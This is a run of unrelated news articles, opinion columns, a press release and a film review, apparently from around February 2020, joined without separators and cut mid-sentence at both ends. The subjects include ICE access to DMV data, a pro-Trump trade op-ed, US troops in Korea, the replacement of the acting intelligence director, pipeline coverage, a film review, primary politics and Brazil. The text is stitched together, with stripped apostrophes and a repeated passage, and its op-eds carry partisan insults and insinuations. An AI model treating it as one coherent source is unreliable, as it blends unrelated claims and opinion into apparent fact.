here rapidly and make the amendments to this bill. Albence said that in fiscal 2019, ICE arrested about 123,000 individuals with criminal convictions or pending charges, making up half a million crimes. So the individuals we arrest are known, recidivist criminals, he said. If we cant get these criminals off the street, theyre going to go back out into communities and reoffend. He said by regaining access to the DMV database, ICE isnt asking New York to provide a list of illegal aliens or to identify which individuals in its databases are here illegally. President Donald Trump spent the first three years of his presidency taking a flamethrower to elite conventional wisdom. Before the president, an "elite" consensus had formed that lost manufacturing and industrial jobs were gone for good, "free" trade was good for America, and American leadership was about managing America's decline in the face of a rising power in China. These positions were so assumed to be true that politicians would spout them off in the same way they might observe that the sky is blue or that knowing the Clintons is hazardous to a person's health. The "you didn't build that" president commented before the 2016 election, "He [Trump] just says, 'Well, I'm going to negotiate a better deal.' Well, what, how exactly are you going to negotiate that? What magic wand do you have?" That magic wand was a simple combination of competence, a belief in America, and an understanding of fair trade and economic leverage. Not to be outdone by his old boss and showing why he has never won a single state primary, Joe Biden commented, "Anybody who can go down 3,000 feet in a mine can sure as hell learn to program as well[.] ... Anybody who can throw coal into a furnace can learn how to program, for God's sake!" Translation: While everyone cannot land a gig guzzling corrupt cash from a foreign energy board, people can at least learn to do something respectable, like typing out some of that computer stuff. Leaving aside the sneering elitism in both Obama's and Biden's statements, the last presidential team were simply restating what they believed to be accepted fact that it is both inevitable and good that high-paying blue-collar jobs were being gutted and shipped overseas. Hey, don't blame us. This is just the natural order of things. Considering the globalist anti-American Obama worldview that is now the beating heart of the Democrat party, the fact that this weakened American influence doubled the goodness. This president upended the canard and drove home the simple truth that we never had free trade in any real sense. American workers were deserted to compete on a tilted playing field against countries who were protecting their own industrial base in a version of free for me but not for thee. The globalist cancer of elite conventional wisdom was destroying the country one factory at a time as American workers were buried under cheap overseas labor and corrupt foreign cash. So many people who run for president don't really seem to know why, other than wanting to be the most powerful person in the world while cashing in on the position, Hillary Clinton's entire platform can be summed up as "It's my turn to rule you little people from on high." President Trump knew exactly why he wanted to be president, and the driving reason was to fight for America and Americans, which meant returning immigration sanity and overturning the unfair trade agreements that had inflicted so much damage. Another great president, Ronald Reagan, once commented about America's failing schools that "if an unfriendly foreign power had attempted to impose on America the mediocre educational performance that exists today, we might well have viewed it as an act of war." That same principle holds true here. No foreign power could have done anywhere close to the damage that America's "elites" inflicted on their country. Then-candidate Trump understood this all too well. The president pointed to the fact that we lost 60,000 factories under the previous two administrations and gained 12,000 factories during his first three years. No wonder Nervous Nancy felt compelled to rip up the speech, since its delivery was the equivalent of serving up a garlic sandwich to a coven of globalist vampires. As another metric, the Obama administration lost about 200,000 net manufacturing jobs, while the current administration has added about 550,000 of these jobs. U.S. exports have grown by 15% since Trump took office. If I were a failed former president, I'd want to claim that success, too. The media are working overtime to explain these numbers away, conveniently forgetting that their paragon said this was impossible and that these jobs aren't coming back. The situation will likely continue to improve with the new USMCA in place, which will significantly aid the auto and metals industries, along with the first-stage deal with China. All of this was done with the added bonus of disrupting American companies' supply chains with China. This trade war was far more painful to China than the U.S., since it resulted in American companies reorienting their supply chains away from China. There were plenty of other countries that could provide the goods and materials American companies and consumers needed, but there was no country that could replace America as a market for the Chinese to dump their goods. With new supply chains in place, many of those companies won't go back. This was a savvy recalibration of the national security situation. President Trump understood that he was holding all the cards in this trade war and that America was destined to win. He also understood that the status quo was not compatible with any concept of making and keeping America great, although it was doing plenty to empower China. The national security stakes in this economic clash were real. In looking at sixteen historical cases, political scientist Graham Allison argued that the historical record shows that rising powers traditionally go to war with the ruling power, particularly one that is declining. Based on these cases, he believed that China and America could be headed toward war, something he indicated was more likely than not. There can be little doubt that China seeks to dethrone the U.S. as the predominant power in Asia. But its ambition runs far beyond that. Military leaders have been watching China with a wary eye for years as the country increased its influence around the globe. China is quietly and relentlessly gaining influence everywhere, from Africa to South America to right here in the U.S. Because the Chinese are far less bellicose in their language than the Soviet Union, this went largely unnoticed. But the danger is clear and present. Twelve out of the 16 case studies Allison looked at resulted in war, even if the most recent three did not. An economist won't make a values judgment on whether the U.S. is better off trading with China, Mexico, or Mars. But any action the U.S. takes that slows down the rise of China as a global superpower, particularly if that action also increases America's own power, will serve to lessen the danger of a U.S. conflict with China. In this sense, President Trump's economic moves have been targeted national security strikes. He unleashed the U.S. economy, which has increased America's relative power. But he did it in a way that also diminished China's rising power. It was a game-changer. The conventional wisdom that existed just a few short years ago is now a smoldering pile of ash. The president has improved the lives of nearly all Americans; reversed the income inequality that Democrats love to complain about; and dramatically improved the national security situation, lessoning the probability of catastrophic conflict with China. He was right to declare that "in just three short years, we have shattered the mentality of American decline, and we have rejected the downsizing of America's destiny." His success is a powerful indictment of his predecessor since Obama embodied that very mentality. Democrats are stuck to face the horrifying reality that there has never been a president who has done more to earn a second term, and no number of pen ceremonies or paper-shreddings can cover that up. Fletch Daniels can be found on twitter @fletchdaniels. U.S. troops and their families would face a loss of services with the possible furlough of 9,000 South Korean civilians who work on bases, unless the long-running dispute over how much South Korea pays for the U.S. military presence is resolved, according to Pentagon officials. The issue is expected to be at the top of the agenda for a Pentagon meeting Monday between Defense Secretary Mark Esper and South Korean Defense Minister Jeong Kyeong-doo, Pentagon chief spokesman Jonathan Hoffman said at a news briefing Wednesday. "We've got to work through the agreement for funding of forces, so that will obviously be a topic we will discuss," he said. "We're going to continue to negotiate and try to find a solution" while working against an April 1 deadline for furloughs, Hoffman added, but no matter the outcome "our forces will adapt" to maintain readiness. Related: Daegu Army Base Imposes Self-Quarantine After South Korean Church Linked to Coronavirus The Trump administration last summer began pressing Seoul for a huge increase in funding for the existing "special measures agreement" -- from about $900 million to $5 billion annually -- to offset the costs of maintaining about 28,500 U.S. troops on the peninsula. In a trip to Seoul in November, Esper said that South Korea "is a wealthy country and could and should pay more to help offset the cost of defense," but U.S. officials suggested that the $5 billion demand is an opening bid to bargaining. "There will certainly be an impact to both the service members and their families" if furloughs occur for 9,000 civilians, who provide services ranging from fire dispatch and bus driving to staffing for hospitals, post offices, maintenance crews and administration, said Rear Adm. William Byrne, vice director of the Pentagon's Joint Staff. "So 9,000 workers, that's pretty significant," Byrne said at the news briefing with Hoffman, "and there are options -- big, medium, small, if you will -- with respect to numbers" in the event of furloughs. "So if needed, we're going to have to prioritize what services those workers provide, and we're going to have to prioritize life, health and safety," he added. Last month, U.S. Forces Korea (USFK) sent out notices to the civilian workers that the cost-sharing agreement between the U.S. and South Korea had expired Dec. 31 and furloughs could occur on April 1 unless a new agreement is negotiated. "Due to the 2019 Special Measures Agreement lapse and the continued absence of a subsequent agreement, United States Forces Korea began providing Korean National employees today with a 60-day notice of a potential administrative furlough that could occur on April 1, 2020, absent an agreed upon SMA," USFK said in a Jan. 28 statement. "Without the Republic of Korea's continued commitment to share the cost of employing our Korean National workforce, USFK will soon exhaust programmed funds available to pay their salaries and wages," the statement said. The cost-sharing dispute comes as USFK is taking extra precautions against the spread of the novel coronavirus. On Wednesday, Army Gen. Robert Abrams, USFK commander, announced that service members in South Korea who had attended the evangelical New World Church in Daegu over the previous 10 days would have to undergo a mandatory self-quarantine to monitor for symptoms of coronavirus. "We must protect the force and our community by maintaining our 'Fight Tonight' readiness," Abrams said in a statement. South Korean authorities have focused on the church and a hospital in the southern city of Daegu as possible sources of coronavirus infection. On Friday, South Korea reported the second death of a coronavirus patient, the country's Yonhap news agency reported. The Korea Center for Disease Control and Prevention (KCDC) also reported 100 new cases of the novel coronavirus, bringing the total number to 204. Thus far, there have been no cases of coronavirus among the 28,500 U.S. troops or their family members in South Korea. -- Richard Sisk can be reached at Richard.Sisk@Military.com. Read more: Midshipman Dies After Being Found Unresponsive at Naval Academy President Donald Trump decided to replace Joseph Maguire as his top acting intelligence official after Maguire authorized an aide to brief Congress about Russia's 2020 election interference, which enraged the president, according to The Washington Post. Trump reportedly falsely believed that the official who briefed Congress at Maguire's direction had been disloyal by feeding exclusive information about election interference to Rep. Adam Schiff, the chairman of the House Intelligence Committee. During the briefing, the aide told lawmakers Russia was attempting to interfere in the 2020 election to help get Trump reelected, according to The New York Times. Trump replaced Maguire with Richard Grenell, a fierce loyalist who has served as the US ambassador to Germany and has no background in intelligence work. Visit Business Insider's homepage for more stories. President Donald Trump replaced Joseph Maguire as his acting director of national intelligence after Maguire enraged Trump by authorizing a congressional briefing on Russia's election interference, according to The Washington Post and The New York Times. After the classified briefing, Trump brought Maguire into the Oval Office for a "dressing down," The Post reported. The president also had been led to falsely believe that Shelby Pierson, the aide who briefed Congress, had been disloyal by feeding exclusive information about Russia's 2020 election interference to Democratic Rep. Adam Schiff, the chairman of the House Intelligence Committee. Schiff served as the lead House impeachment manager during Trump's Senate trial, and the president often attacks him and suggests he is guilty of treason, which is punishable by death. The Times reported that lawmakers were told Russia is interfering in the 2020 election specifically to get Trump reelected. The president is concerned that Democrats will use that information against him as the campaign season kicks into high gear, according to The Times. Story continues According to The Post, the briefing was the "catalyst" for the president's decision to replace Maguire with Richard Grenell, a controversial figure and fierce loyalist who has served as the US ambassador to Germany. Grenell has no experience or background in intelligence but is now charged with overseeing the 17 agencies that make up the US intelligence community. Richard Grenell. Sean Gallup/Getty Images Maguire made headlines last year for his role in overseeing the transmission of an anonymous whistleblower complaint against Trump to Congress. The complaint accused the president of soliciting foreign interference in the upcoming election by pressuring the Ukrainian government to launch investigations targeting former Vice President Joe Biden, who at the time was the frontrunner for the Democratic presidential nomination. Michael Atkinson, the intelligence-community inspector general, determined that the complaint was urgent and credible, which means Maguire was legally mandated to turn it over to the House Intelligence Committee. But after consulting with the Justice Department and White House officials, Maguire determined he was not required to turn over the document because it related to a person Trump who is not under the director of national intelligence's jurisdiction. Maguire eventually released the complaint to Congress in September after a fierce tug-of-war with House Democrats and Schiff, who publicly revealed its existence days earlier. Federal law limits how long cabinet officials can serve in an acting capacity, and Maguire would have been required to leave his post by March 11. But the president was considering offering him the permanent role as his spy chief until Maguire angered Trump by authorizing the congressional briefing on Russia's election meddling, The Post reported. The president has often expressed doubts about Russia's interference in the 2016 US presidential election, and he asked Ukrainian President Volodymyr Zelensky to investigate a bogus conspiracy theory alleging that Ukraine interfered in the election. Trump has continued to exhibit skepticism, despite ongoing warnings from the US intelligence community about the potential for Russia, among other countries, to interfere in the 2020 election. The US intelligence community, which the president has repeatedly expressed animosity toward over the course of his tenure, concluded with high confidence in 2017 that Russia interfered in 2016 to propel Trump to the Oval Office. The Senate Intelligence Committee in July 2018 released a report backing up the intelligence community's findings. In October, the committee released a report urging Trump to "reinforce with the public the danger" posed by foreign election interference leading up to the 2020 election. Read the original article on Business Insider PR-Inside.com: 2020-02-21 13:43:25 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 603 Words ACCESSWIRE News Network888.952.4446 WOBURN, MA / ACCESSWIRE / February 21, 2020 / Divorces, even those that are amicable, can take a physical, spiritual and emotional toll on all those involved. From partners and spouses to children and families, divorce is almost never easy. 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Construction of the 42-inch-wide natural gas pipeline was halted in December 2018; later this month, the Supreme Court will hear arguments over a key permit that it would need to start up again. If the pipeline is built, then one of its three planned compressor stationsmassive facilities that help compress and transport natural gaswill be located in Northampton County, North Carolina, a swampy, rural region where the vast majority of residents are black. The county is already home to industrial hog farms, a wood-pellet plant, and large landfillsother industrial projects that have enormous effects on the surrounding land and its residents. Northampton is also one of six counties in North Carolina without a newspaper, according to a University of North Carolina report on expanding news deserts. The number of newspapers in the state has declined by 22 percent since 2004. Pipeline updatesconcerning permits, protests, hearings, lawsuits, and risksare not consistently covered in state newspapers or newspapers in neighboring counties, if theyre covered at all. All three states crossed by the Atlantic Coast Pipeline have a dearth of local newspapers, according to the UNC report. West Virginia has three counties without a newspaper; Virginia has seven. In about half of the 25 counties along the Atlantic Coast Pipeline route, print news comprises a single weekly paper; several weekly or daily papers cover more than one county. The counties along the route are some of the most rural and economically depressed parts of the US, in a region that is historically reliant on extractive fossil fuels. In North Carolina, seven of the eight counties the proposed pipeline would run through are predominantly black. These places lack consistent, informative local coverage of energy, justice, and the environment because of the declining number and resources of print news outlets, shifting the balance of news sources toward expanding corporate media monopolies. The areas are also overlooked by national media, which mostly parachute in to cover major updates or catastrophes or if they need a tie-in to President Trumps policiesa dynamic that can perpetuate inaccurate stereotypes about these places. Sign up for weekly emails from the United States Project The absence leaves ample space for powerful campaigns by Duke and Dominion, the pipelines developers and buyers of its natural gas, as well as industry-aligned lobbyists and politicians, to shape the pipeline narrative. Another result is misinformation and confusion about the status of a massive energy project that affects tens of thousands of people, several endangered species, and a variety of fragile ecosystems. The number of permanent jobs the pipeline is estimated to create varies, depending on whom you speak with. In some cases, property owners have been caught unaware of their rights or legal options when Dominion came knocking to claim eminent domain. When the pipeline was first proposed in 2014, local news outletsparticularly public radio and newspapers of recorddiligently reported on it. (Several, including West Virginia Public Broadcasting, the Charleston Gazette-Mail, and Virginia Mercury, still do.) But in the ensuing years, as Dominion applied for permits and held public hearings, consistent, comprehensive coverage has mostly faded. In 2017, NPR and the Center for Public Integrity co-published a story investigating the pipeline boom in Appalachia and the lack of federal regulations surrounding it. But theres been no updated version since, no return visit to see what stage the projects are in now. The only relatively consistent reporting from national media has come from paywalled publications like E&E News, and from journalists such as the Washington Posts Greg Schneider, who has followed plans for a compressor station in Union Hill, Virginia, a community settled by freed slaves after the Civil War. (Union Hill is in Buckingham County, which has no local newspaper.) Meanwhile, the efforts of residents of Northampton County to stop their compressor station have been ignored. As for the third compressor station, proposed in Jane Lew, West Virginia, theres been virtually no national media attention at all. In-depth reporting has been left to those local reporters for whom time and capacity are already in short supply. Occasionally, collaboration jumpstarts important local reporting: In 2018, a collaborative investigation by the Charleston Gazette-Mail and ProPublica revealed that West Virginia and federal regulatory agencies expedited the Atlantic Coast Pipeline, as well as the controversial Mountain Valley Pipeline, which is slated to run 303 miles from northwestern West Virginia to southern Virginia and is mostly in the ground. (Mountain Valley Pipeline construction was halted last year.) But the majority of local stories by public radio stations, television stations, and papers have only enough space to focus on protests by anti-pipeline activists, arrests, and major lawsuits. Meanwhile, over the past six years, there have been hundreds of route changes, thousands of public comments, and dozens of lawsuits by landowners and environmental groups. COVERING THE ATLANTIC COAST PIPELINE can be overwhelming, says Mason Adams, an independent journalist based in southwest Virginia who, for the past several years, has covered pipelines in Appalachia for local and national outlets. The ACP, he says, is complicated: its not a single spot on the map, and proceedings have stretched on for years. Local reporters need more training to handle FOIAs, federal agencies, major companies, and court reporting. Smaller papers cant set aside an entire body to cover this, much less over five to six years, says Adams. From 2014 to 2017, Adams tried to publish stories about the Atlantic Coast Pipeline in multiple national outlets. His pitches were repeatedly declined, mostly because the Dakota Access Pipeline protests had already garnered so much press, he says. I heard a lot of, We have enough pipeline stories. Now, he says, the general dearth of coverage means that people are not paying attention, or that they think its a done deal. This is far from the truth: Dominion Energy needs new permits from several federal agencies, and the Supreme Court will determine this year whether the pipeline will be allowed to pass beneath the Appalachian Trail. The weekly newspapers serving these counties have published dozens of stories pitting pipeline opponents against economic development officials. Many contain important project updates that readers wouldnt find anywhere else, but others essentially serve as press releases for Dominion Energy without interrogating claims the company makes about job creation, environmental impacts, and legal challenges. The Record Delta, a weekly that covers Upshur County, West Virginia, recaps county commission meetings about the project with little context. Two years ago, two former Delta employees, including Katie Kuba, started a digital news outlet called My Buckhannon to reach more people online. Kuba works as both an editor and writer, however, and says she hasnt been able to do as much in-depth reporting as she used to. Instead, she often writes brief updates about Dominions project plansthough, she says, like all companies or organizations, theres a certain viewpoint theyre arguing for, and you need to talk to environmental organizations and regular people to get the full story. Last year, as part of its Losing the News report, PEN America published a case study on Robeson County, North Carolina. Donnie Douglas, editor of The Robesonianthe countys primary news sourceis unabashedly conservative and pro-business, writes Jeremy Borden in the report. The Robesonian has published several stories and op-eds on the benefits of the pipeline. Even when Douglas is intrigued by more ambitious stories, he often has to pass. Meanwhile, a local activist has taken on the role of a quasi-watchdog journalist in the area, according to the report, writing op-eds and hoping to hear back from reporters for a news story. Nearly every person I interviewed brought a binder they had filled with environmental assessment pages, public records, news clippings, notes from public hearings, emails and letters from Dominion and Duke representatives, and other documentation. One couple had filled an entire room in their house. Low-income communities, rural communities, and communities of color are put most at risk by oil and gas development. They stand to lose the most, too, from a lack of information. Robeson County is 23 percent black, 31 percent white, and 42 percent American Indian; it is the largest county in the state, which has lost black-owned news outlets and Indigenous news outlets such as the Carolina Indian Voice. Without dedicated news coverage, some residents say, critical storiesabout the struggles of Native American communities trying to keep their land, or other energy projects being built in communities of colorfall through the cracks. BEFORE ATLANTIC COAST PIPELINE construction was halted, I traveled its route to speak to people about how the project has affected their communities. Many were frustrated by the lack of critical pipeline coverage, and without investigative journalists to do this work, they had taken it on themselves. Nearly every person I interviewed brought a binder they had filled with environmental assessment pages, public records, news clippings, notes from public hearings, emails and letters from Dominion and Duke representatives, and other documentation. One couple had filled an entire room in their house. They shared the documents with one another and with nonprofit organizations, or emailed them to reporters. Some people wrote letters to the editor and op-eds to get information out when news stories wouldnt cover it. The Allegheny-Blue Ridge Alliance, an environmental organization in Virginia, has sent out more than 200 weekly pipeline updates. Elizabeth Ouzts, a reporter for Energy News Network, started reporting on the pipeline in 2016, after her editor encouraged her to look into eminent domain lawsuits along the route. The overall lack of coverage, says Ouzts, has led to a sense among the general public that natural gas is a good thing and not that it is a fossil fuel that is worsening the climate crisis. This year, she wants to revisit those she spoke to over the last couple of years to update her stories. There are real people who are still fighting this thing, she said. Belinda Joyner, an activist who lives in Northampton County, is one of those people. She says that most people she knows get their news from word of mouth or from Facebook, and sometimes through the Daily Herald, based in neighboring Halifax County. The lack of reporting around the pipeline has made her work as an organizer much harder. When youre not aware of things going on in your community, then you have no way of defending your community, she says. A lot of things can be done when people arent aware of whats going on around them. Has America ever needed a media watchdog more than now? Help us by joining CJR today Lyndsey Gilpin is the founder and editor of Southerly, an independent media organization about ecology, justice, and culture in the American South. She is a freelance journalist based in her hometown of Louisville, Kentucky. Her work has appeared in The Atlantic, InsideClimate News, High Country News, Outside, The Daily Beast, HuffPost, and more. 'Birds of Prey: And the Fantabulous Emancipation of One Harley Quinn': With a Title Like That, Who Needs a Subhead? Director Cathy Yan's "Birds of Prey," an exuberant exercise in over-the-top, slickly anarchic filmmaking starring Margot Robbie as the girl you bring home to Mom only during an LSD trip, jogged my memory of a sociologically provocative scene in "Diner" (1982). Mickey Rourke's Boogie, a city dweller who has procured a steed in Maryland horse country specifically to chase after a stately, blueblood equestrian, catches up and asks her name. To which she dryly responds, "Jane Chisholm as in Chisholm Trail." Later, driving home and contemplating the episode, Boogie turns to his pal and asks, "Do you ever get the feeling that there's something going on that we don't know about?" Such was the inquiry I mulled whence colliding with this eighth film in the DC Comics Extended Universe. And I'm a better man for it, an Alexis de Tocqueville of contemporary pop culture courtesy of a profession that plops me down in movies I'd otherwise never know about, let alone see. Thus, per the lyrics of chanteuse Blossom Dearie's exampling of her savviness, "I'm hip." If asked to spread this multimillion-dollar fringe gospel to denizens of over-55 condo associations, assisted living facilities, and wherever diversity is a foreign term, I'm ready to give it a go. This is off-the-hook stuff, made even crazier when you consider that to an entire population of devotees it is simply business as usual, with no need for a libretto or a who's who synopsis. Fact is, thanks to an insanely creative portrayal of the title character by Margot Robbie, whose tellingly scandalous behavior is rationalized in great part by her breakup with Gotham's infamous Joker, there is among the fancified deprecation of modern civilization some rather witty and universally pertinent thought. It's there under all the colorfully embroidered confusion that's actually just a simple plot of despotic control by Ewan McGregor's Roman Sionis, aka Black Mask, a fiendish mob boss aiming to solidify his control through acquisition of a diamond that falls into a street kid's hands. Less complicated in outward appearance only is the non-stop, viscerally outlandish kung-fu fighting, a phenomenally choreographed ballet of inner-city combat that is an excitingly worthy heir to the groundbreaking rumbles depicted in "West Side Story" (1961). Even considering the enhancements computers can impart, it's obvious that the dance lessons the movie's principals were dragged to in their youth were not for naught. Equaling in accomplishment if not transcending the hellzapoppin' lunacy of the wildly violent doings is the enigma that is Harley Quinn, star and narrator of the bedlam who informs that she was raised in an orphanage after Dad sold her for a six pack of beer. Oh, and by the way, while you're accumulating snippets of the skinny and the jive, know that she is technically Dr. Harleen Francis Quinzel, the first in her family to attend college, who alas met the love of her life whilst an intern psychologist at Gotham's Arkham Asylum. But fear not that higher education has trimmed the rough edges of our ghetto debutante. In an angry run-in with the big boss's arrogantly rude driver, it is in stereotypical, 50s movie Brooklynese that she vociferously informs him, "I've got a Ph.D., mother-(expletive)." Like "Joker," the first DC release to garner an R-rating, "Birds of Prey" makes it two in a row, spewing four-lettered favorites in both the dialogue and in the lyrics of a kaleidoscopic mix of tunes old and new, rollickingly stitched into an astutely complementing score. Sharing in the chorus of invective-laced, abashing bad behavior and eventually teaming with Harley to help Ella Jay Basco's aforementioned hooligan escape the murderous designs of the depraved Roman Sionis, are the three attractive ladies who will ultimately become the Birds of Prey. They are, Rosie Perez as the dedicated cop, Renee Montoya; Mary Elizabeth Winstead as Helena Bertinelli/The Huntress; and Jurnee Smolett-Bell as Dinah Lance/Black Canary. Look for metaphors aplenty amidst the stylishly swaggering showcase of feminine power, with equal shares of the lib and fatale varieties sprinkled throughout the hyperkinetic doings. In this satiric world that holds up a cracked, transitional lens to what it considers the currently disheveled state of human ethics, morality is parsed on a sliding scale. In the vein of Jack Nicholson's Colonel Nathan Jessep in "A Few Good Men" (1992), we are challenged to handle the truth that original sin is alive and well, and currently starring in the role of the double standard that undermines the nature of our economy, the justice system and our ever-struggling fight for human rights. Yep, all that, spun off from a comic book. Tell your friends at the condo association. They'll think you're cool. "Birds of Prey: And the Fantabulous Emancipation of One Harley Quinn," rated R, is a Warner Bros. release directed by Cathy Yan and stars Margot Robbie, Ewan McGregor and Jurnee Smolett-Bell. Running time: 109 minutes LAS VEGAS As the Democratic presidential candidates plead with Nevadans for their support in 2020, Harry Reid is already looking to 2024. Reid, the former Democratic leader in the Senate, said in an interview that he hoped that his home state would move to the very front of the primary calendar in the next election. The decades-long tradition of deferring to Iowa and New Hampshire should be over, Reid said. Weve done it for years to have the other 48 states playing second fiddle to two states that arent representative of the country, he said, arguing that it was unfair for those overwhelmingly white states to vote first. Needless to say, the statement reflects Nevadas political interests, as well as Reids long-standing ambition to elevate his state in the presidential nominating process. But even as he allowed that he had a certain bias, Reid insisted it was not merely Silver State pride behind his preference for Nevada going first in 2024. Of course I think that, but its not just me, Reid said, citing what he called a general view that Nevada is more representative of whats going on in the country. We have a state that is extremely diverse about half the state is white, the rest is minorities, he noted. We have a state that is environmentally sensitive. It is a state thats heavily unionized. Reid, 80, is staking his hopes in part on Saturdays caucuses, and a number of his current and former advisers have been deeply involved in preparing the state to avoid an Iowa-style meltdown. Nevada has held several days of early voting, with all signs so far pointing to strong turnout. Should the caucuses go off well this weekend and thus strengthen Nevadas claim to a place of privilege in the presidential nominating process it would represent a personal triumph for Reid, who set out more than a decade ago to give his state a powerful hand in selecting presidential candidates. A longtime critic of Iowa and New Hampshire, Reid engineered an early role for his state starting in the 2008 election cycle and the significance of Nevada has grown on the Democratic side with each successive campaign. The prospect of Iowa or New Hampshire being displaced in 2024 now appears more plausible than ever, as a result of the fiasco in Iowa this month and Democratic leaders growing discomfort with the homogeneous character of those states. But the stakes are high this weekend for Nevada Democrats, who must pull off a complex caucus process of their own if they are going to have a chance of moving up next time. More than 70,000 Nevadans have voted early in the caucuses, according to the Democratic Party, putting the state on track to easily surpass turnout in the 2016 contests. Alexander Burns is a New York Times writer. Watching Joe Biden pander to "Blacks and Browns" in South Carolina while refusing to stick around to thank his supporters in New Hampshire suggests one descriptor: cringe-worthy. Like wrecks at NASCAR events causing spectators to put their collective hands to their mouths in dismay, such is the case when such a high-profile person crashes. Yet, even in his smoldering wreckage, Biden sinks to lower levels of importance as America's gaze returns to the leaders in this race to the White House. Most watching would agree that the DNC is currently struggling with party identity. Exhibit A is the fact that two of the biggest names in the race are not Democrats. Bernie Sanders refuses to bear the party name as a senator but seeks it as a president. Mayor Bloomberg switched to Republican to run for mayor of New York and then switched back to Democrat. One of the identities Elizabeth Warren used was "Republican." Those facts can't be helpful to the party finding its collective voice, and the debate in Nevada did little to dispel the "Carvillian" dismay over a party in shambles. Yet one issue could prove different: authenticity. While Amy Klobuchar and Tulsi Gabbard bring a measure of authenticity to their respective messages, none can match Sanders. Unlike most politicians (including President Trump), Bernie's message remains surprisingly consistent for his lengthy years in the public eye. Yet Bernie brings more than just consistency. While others like Joe Biden pander, Bernie proselytizes. As his competition uses rehearsed talking points, Bernie speaks out of conviction. It would be fascinating to compare the "debate prep" time among the candidates. Bernie doesn't seem to be the type to cram before a test. Rather, he seems to always be on message. One doesn't have to agree with Bernie Sanders to admire what he's accomplished. He hasn't built constituencies; he's launched a movement. Had he stood up to Hillary Clinton with as much passion as he does to Donald Trump, our history books may be different now. If he can effectively convince Americans that he will fight harder for them than he did for his own campaign in 2016, history may indeed change. It remains to be seen whether the DNC accepts someone who rejected its label as a senator, or if Bernie chooses to hyphenate his party affiliation. One thing stands clear: Sanders is authentic and no one can argue about what he believes. If the ticket for November is a capitalist versus a socialist, America will benefit from such a match-up. It's past time for our country to decide our collective direction. Some may argue that incrementalism has a place, but Americans are weary of the struggle and seem eager to pick a direction and start moving, one way or the other. There's a strong case for Bernie Sanders to be the nominee. Bernie doesn't mince words. While that frightens some, one knows where he stands. Of all the candidates vying for the nomination, he presents the most articulate and passionate message of the left's goals. Put his ideas on the table, and let people vote. If his ideas are as great as he and his passionate followers state, why phase them in lukewarmly? As the DNC struggles with appearing to put its thumb on the scale as it did in 2016, one hopes it will let Bernie be Bernie and let the chips fall where they may. Americans deserves authenticity, and few (if any) are more real than Bernie Sanders. Peter Rosenberger is a 30-plus-year caregiver for his wife (Gracie), who lives with severe disabilities. He is the host of Hope for the Caregiver, heard weekly on Sirius XM (131) and 180 additional stations. Prepare your appetite for the first-ever Memorial City Restaurants Weeks, allowing diners and restaurants to give back to the Memorial Hermann Foundation. All throughout March 2020, a dozen restaurants will offer deals on exquisite dishes along with the option to donate anywhere between $3 and $7 per meal. MetroNational, the development company behind restaurant weeks, has offered a 50 percent match of all donated funds. On Tuesday, February 18, Brazils fascistic President Jair Bolsonaro installed Army Gen. Walter Braga Netto as his chief of staff (ministro da casa civil). Braga Netto had been chief of staff of the Brazilian Army and its second highest ranking officer. With his appointment, Bolsonaro is now literally surrounded by military personnel, who hold the key positions in his inner cabinet. Bolsonaro and General Braga Netto at swearing-in ceremony. Braga Netto takes the place of Onyx Lorenzoni, a member of the extreme-right Democrat party (DEM), who has been at the head of the ministry since the beginning of the Bolsonaro government. This is the first time since the military dictatorship, which ruled Brazil with an iron fist from 1964 to 1985, that a military officer holds this position, the highest appointed political post in the government. General Braga Netto gained notoriety in Brazilian political life after leading, in 2018, the federal takeover by the army of the state of Rio de Janeiro under Michel Temers presidency. Over the course of 10 months, Braga Netto took command of the state of Rio de Janeiros police forces with Army troops deployed for internal use against the civilian population. Imposed on the basis of allegations of a widespread security crisis in the state, the federal intervention in Rio de Janeiro resulted in the raising to new heights of already endemic violence, aimed specifically at the poorest sections of the population. In relation to the previous year, the period of intervention registered an increase of almost 40 percent in killings committed by police officers. In the favelas, the impoverished working-class neighborhoods, reports of barbaric actions typical of war crimes multiplied: soldiers breaking into houses, stealing and breaking belongings, raping women and beating up workers. Walter Braga Netto [Credit: Wikipedia Commons] Commenting on the murderous operation that he led, the now chief of the presidents staff declared, Rio de Janeiro is a laboratory for Brazil. This statement is directly in line with the policies of Bolsonaro, who recently sought to expand the power to order military interventions on national territory, giving soldiers the right to kill. The president justified the urgency of these measures based on the imminent threat of massive protests by the working class, similar to those that occurred recently in Chile. The participation of the military in national political life, at the head of the government, has steadily grown since the impeachment of President Dilma Rousseff of the Workers Party (PT) in 2016, which exacerbated the internal divisions within the Brazilian bourgeoisie. During the administration of interim President Michel Temer, generals were appointed to the Ministry of Defense and the Office of Institutional Securityresponsible for state intelligencewhich was considered a dangerous break with the practices established after the fall of the dictatorship. With Bolsonaro a retired Army captain, and his vice president, Hamilton Mourao, a reserve Army general, the military now holds 9 of 22 cabinet seatsincluding all of those with offices in the Planalto presidential palaceand has gained a presence in practically every ministry. A Deutsche Welle article reported that the current government has incorporated 2,500 high-ranking military personnel. In 2019, almost a third of all state investments went to the military, an 89 percent increase of its share in just three years. Most of them, according to the article, were for superfluous state companies, which mainly serve as job sinecures. The main Brazilian newspapers interpreted the reconfiguration of Bolsonaros cabinet this week as a strengthening of the military wing at the expense of the so-called ideological wing of the government. The latter is made up of a group of politicians linked to the extreme-right ideologue Olavo de Carvalho, who advocates a crusade against what he calls cultural Marxism. Olavo was responsible for appointing the current minister of education, Abraham Weintraub, and was considered a mentor by Secretary of Culture Roberto Alvim, who was fired after plagiarizing the Nazi propaganda minister Joseph Goebbels in a speech demanding that Brazilian art be subordinated to nationalism and religion. However, in an interview with Globo, Olavo de Carvalho responded enthusiastically to the changes in government. He compared Brazil to the United Stateswhere he now residesstating that the Brazilian Army, unlike the American, has no presence in society. They live backed into their own corner and are seen as shy people. His conclusion is unequivocal: Now the military is present, they are beginning to participate in social life. We must bring more. You have to have the military for everything thats on your side. Bolsonaro and General Braga Netto (center) at swearing-in ceremony The growing presence of the military in Brazilian politics has not become a target of criticism by the parties claiming to represent the opposition to the Bolsonaro government, especially the Workers Party. On the contrary. For some time, PT politicians and the media dominated by this party, like Brasil 247, have appealed to the military and presented the vice-president, General Mourao, as a defender of national interests and a progressive political alternative to Bolsonaro. The opposition to Bolsonaro articulated by the PT, accompanied by the pseudo-left Partido Socialismo e Liberdade (PSOL), has an entirely opportunistic character and presents no resistance to the most reactionary measures advanced by the government. Both parties supported the approval of the draconian anti-crime package of Bolsonaro; and in the states that it governs, the PT has implemented the policies of attacking the welfare of teachers and public servants, repressing workers protests with the police. In the face of the most outrageous statements and actions by Bolsonaro, these parties invariably appeal to the state to discipline his exceptional 